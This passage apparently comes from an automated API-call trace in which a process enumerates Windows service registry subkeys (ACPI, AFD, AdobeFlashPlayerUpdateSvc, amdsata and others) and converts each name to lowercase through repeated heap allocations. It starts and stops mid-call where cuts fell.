(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.160] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f18e0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0251.160] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.160] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.161] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.161] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.161] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.161] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.161] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0251.161] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.162] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.162] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.162] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.162] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0251.162] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.162] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.163] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.163] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.163] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.163] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.163] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.163] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.164] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.164] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.164] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0251.164] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.164] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.164] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.165] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.165] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.165] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.165] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0251.165] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.166] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0251.166] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.166] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0251.166] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 